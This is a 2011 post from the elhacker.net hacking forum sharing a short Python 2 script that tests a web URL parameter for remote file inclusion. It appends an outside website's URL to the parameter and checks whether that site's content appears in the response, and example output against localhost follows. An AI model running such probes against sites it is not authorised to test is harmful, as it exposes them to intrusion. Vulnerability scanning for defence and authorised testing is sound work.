elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Python] RFI Tester
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Python] RFI Tester  (Leído 1,500 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Python] RFI Tester
« en: 7 Octubre 2011, 01:39 am »

Hola a todos.

Acabo de hacer un simple verificador de vulnerabilidad RFI

Código
  1. #!usr/bin/python
  2. #RFI Tester (C) Doddy Hackman
  3.  
  4. import os,sys,urllib2,re
  5.  
  6. def header() :
  7. print "\n--== RFI Tester ==--\n"
  8.  
  9. def copyright() :
  10. print "\n\n(C) Doddy Hackman 2010\n"
  11. exit(1)
  12.  
  13. def show() :
  14. print "\n[*] Sintax : ",sys.argv[0]," <web>\n"
  15.  
  16. def toma(web) :
  17. return urllib2.urlopen(web).read()
  18.  
  19. def test(web):
  20. try:
  21.  print "\n[+] Testing vulnerability RFI in",web
  22.  code = toma(web+"http://www.supertangas.com")
  23.  if(re.findall("Los mejores TANGAS de la red",code,re.I)):
  24.   print "[+] RFI Detected"
  25.  else:
  26.   print "[-] RFI Not Found"
  27. except:
  28.  pass
  29.  
  30. header()
  31.  
  32. if len(sys.argv) != 2 :
  33. show()
  34.  
  35. else :
  36. test(sys.argv[1])
  37.  
  38. copyright()
  39.  
  40.  
  41. #The End
  42.  

Ejemplo de uso

Código:
python rfi.py http://127.0.0.1/rfi.php?index=

Código:
C:\Users\DoddyH\Desktop\Arsenal X parte 2>rfi.py http://127.0.0.1/rfi.php?index=

--== RFI Tester ==--


[+] Testing vulnerability RFI in http://127.0.0.1/rfi.php?index=
[+] RFI Detected

(C) Doddy Hackman 2010



« Última modificación: 8 Octubre 2011, 19:07 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Tester
Electrónica
Yasmesita 2 3,498 Último mensaje 24 Abril 2010, 18:19 pm
por Yasmesita
Placa Tester PCI POST « 1 2 »
Hardware
mary_10 11 10,735 Último mensaje 30 Octubre 2010, 02:35 am
por mary_10
[Ruby] Proxy Tester
Scripting
BigBear 0 1,769 Último mensaje 16 Octubre 2011, 02:49 am
por BigBear
[Python] Proxy Tester
Scripting
BigBear 0 1,755 Último mensaje 16 Octubre 2011, 02:52 am
por BigBear
[AYUDA] Tester de password.
Programación Visual Basic
Sink 1 1,554 Último mensaje 19 Junio 2013, 01:03 am
por XresH
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines